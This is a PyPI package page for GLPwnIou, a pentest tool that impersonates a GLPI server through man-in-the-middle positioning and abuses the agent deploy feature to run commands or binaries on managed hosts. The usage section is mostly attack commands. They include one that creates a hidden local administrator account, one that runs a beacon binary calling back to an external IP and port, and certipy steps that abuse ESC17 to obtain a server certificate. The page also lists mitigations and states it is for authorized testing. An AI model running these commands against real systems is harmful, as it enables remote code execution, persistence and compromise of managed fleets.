Skip to main content

GLPwnIou

Rogue Man-in-The-Middle GLPI server used to obtain RCE on managed devices. This tool takes advantage of the glpiinventory_deploy feature, which enables a GLPI server to push updates (binaries and/or commands) to a managed Linux or windows host.

Prerequisites :

  • A Man-In-the-Middle position. Examples of ways include :
    • using MitM6 if IPv6 is enabled
    • editing a DNS entry in the domain
    • ARP spoofing (bettercap, ettercap) on a flat L2 segment.
  • One of the following:
    • The agent uses HTTP to reach the server
    • The agent uses HTTPS to reach the server, but the certificate SSL check is disabled
    • The agent uses HTTPS, but the attacker can get a Server Authentication certificate for the server (usually through ESC17, alhough one could hypothetically be found in a public share)

Install

Authorized use only. GLPwnIou is intended for security research and penetration testing engagements you are explicitly authorized to perform.

The recommended way to install GLPwnIou is with pipx, which installs it into an isolated environment and exposes the glpwniou command globally:

pipx install GLPwnIou

Or with pip (ideally inside a virtual environment):

pip install GLPwnIou

Once installed, run it via the glpwniou entry point:

From source

git clone https://github.com/FenriskSecurity/glpwniou
cd GLPwnIou
pipx install .          # or: pip install .

GLPwnIou has no third-party dependencies and requires Python 3.8+.

Usage examples

Various payloads methods

Harmless default : Will only create a file in C:\Windows\Temp with the output of whoami

glpwniou --advertise https://glpi.acme.local/deploy ...

Command execution : Will run the specified powershell command

glpwniou --advertise https://glpi.acme.local/deploy ... \
  --cmd 'cmd.exe /c net user pwned P@ssw0rd! /add & net localgroup administrators pwned /add'

Run a binary on the target : Will execute the binary as is unless you provide the run-command parameter. You can optionally provide an executable name to be used when dropped on target (make sure to use this name when using custom commands)

# Execute the binary as is
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe
# Execute the renammed binary
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe --run-name updater.exe
# Execute the binary with a custom call
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe \
  --run-command "./beacon.exe -ip 13.37.13.37 -port 9000"

Note that cmd and payload-file are mutually exclusive. The advertise flag does not have to match exactly the serverURL, however it will be the path at wich the agent will request the binaries and the server will serve them, so sticking as close as possible to the configured value may help regarding monitoring of suspicious activity.

Agents configured to only use HTTP

glpwniou --advertise https://glpi.acme.local/deploy --port 80

Agents configured to use HTTPS without SSL checks

glpwniou --advertise https://glpi.acme.local/deploy --port 443 --tls
  • This will generate a self-signed cert for CN=glpi.acme.local
  • Make sure to use the right FQDN in the advertise URL else the agent will return a Peer certificate not verified

Agents configure to properly use HTTPS, but you have found a valid certificate for the target server

This focuses on the ESC17 way, but you may find one in an SMB share or in another way

# look for ESC17-vulnerable teplates
certipy find -u "user@acme.local" -p "password" -dc-ip ... -stdout
certipy req -dc-ip ... -u "user@acme.local" -p "password" -target glpi.acme.local -ca '...' \
  -template ESC17 -dns glpi.acme.local -out glpi
openssl pkcs12 -in glpi.pfx -out glpi.pem -nodes -passin pass:

Agent version support

  • Agent 1.7.x (latest version with auto-enabled deploy)
  • Agent 1.17.x
  • Agent 1.18.x
  • Agent 1.19.x (latest version)

Screenshots

Coming Soon 😁

Improvements

  • More Agent versions support
  • Support for multi-OS concurrent poisoning (send a payload/cmd to Windows and another payload/cmd to Linux)
  • Integrated ARP spoofing support like wsuks does

Mitigations

  • Setup your agents to use HTTPS and check the certificate rather than use HTTP or blindly trust any certificate.
  • Regarding ESC17, please check out the certipy wiki for mitigation recommendations. This is no GLPI vulnerability, the issue lies in the trust chain (a misconfiguration in the ADCS)
  • Disable the Deploy task where it isn't needed
  • Protect against/monitor MitM vectors (disable IPv6 if not used, alert on DNS changes/ARP flooding)

Acknowledgements and previous works

Metadata

Release files for GLPwnIou 1.0.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for GLPwnIou 1.0.1
File Size Uploaded Provenance
glpwniou-1.0.1.tar.gz 34.6 kB Without provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for GLPwnIou 1.0.1
File Interpreter ABI Platform
glpwniou-1.0.1-py3-none-any.whl Python 3 none any Details

Total release size: 68.1 kB

Release files / glpwniou-1.0.1.tar.gz

Download URL glpwniou-1.0.1.tar.gz
Size 34.6 kB
Tags Source
SHA-256 checksum
How to use checksums
d1ee5bc6eb7711ed2936408aaa764b277d3dc61e53a0d2f51e25f2d736b2f570
BLAKE2b-256 checksum
How to use checksums
448aa82ad6c8945c1a9f586916d3fc8edb1d9b458a11ed024c1176c2cc1a6aa6
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.12.3

Release files / glpwniou-1.0.1-py3-none-any.whl

Download URL glpwniou-1.0.1-py3-none-any.whl
Size 33.6 kB
Tags Python 3
SHA-256 checksum
How to use checksums
d0640550a238b1122a3411b518c545c1704fb2c85447f8637bc6893f3b6db2d9
BLAKE2b-256 checksum
How to use checksums
0c3e5a6ad46ceb3ee725ac7b6322d6cc4efac9a0e47877296b6135c617c9defb
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.12.3

Security for GLPwnIou 1.0.1

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

Release history Release notifications | RSS feed

This release

1.0.1 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page